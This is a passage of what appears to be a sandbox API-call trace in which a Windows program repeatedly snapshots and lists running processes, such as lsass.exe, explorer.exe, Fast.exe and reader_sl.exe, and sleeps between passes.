th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0234.065] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0234.066] CloseHandle (hObject=0x1c8) returned 1 [0234.608] Sleep (dwMilliseconds=0x1f4) [0235.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0235.482] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.483] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.484] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.487] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.488] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.489] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.490] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.491] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.493] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.494] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0235.495] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.497] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.498] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.499] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.501] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.502] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.503] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.504] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.506] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.507] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.508] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0235.510] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0235.511] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.512] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.513] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0235.514] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0235.515] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0235.517] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0235.822] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0235.823] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0235.824] CloseHandle (hObject=0x1f0) returned 1 [0235.824] Sleep (dwMilliseconds=0x1f4) [0236.756] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0236.762] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.763] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.764] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.765] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.766] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.767] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.769] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.770] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.771] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.772] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0236.773] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.774] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.774] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.775] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.776] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.777] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.778] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.780] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.782] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.782] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.783] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0236.784] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0236.785] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.787] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.788] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0236.790] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0236.791] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0236.792] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0236.793] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0236.794] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0236.795] CloseHandle (hObject=0x1b4) returned 1 [0236.795] Sleep (dwMilliseconds=0x1f4) [0237.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0237.476] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.477] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.478] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.481] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.483] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.485] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.485] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.486] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.487] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.488] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0237.489] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.490] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.492] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.494] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.495] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.496] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.497] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.498] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.499] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.501] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.503] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: 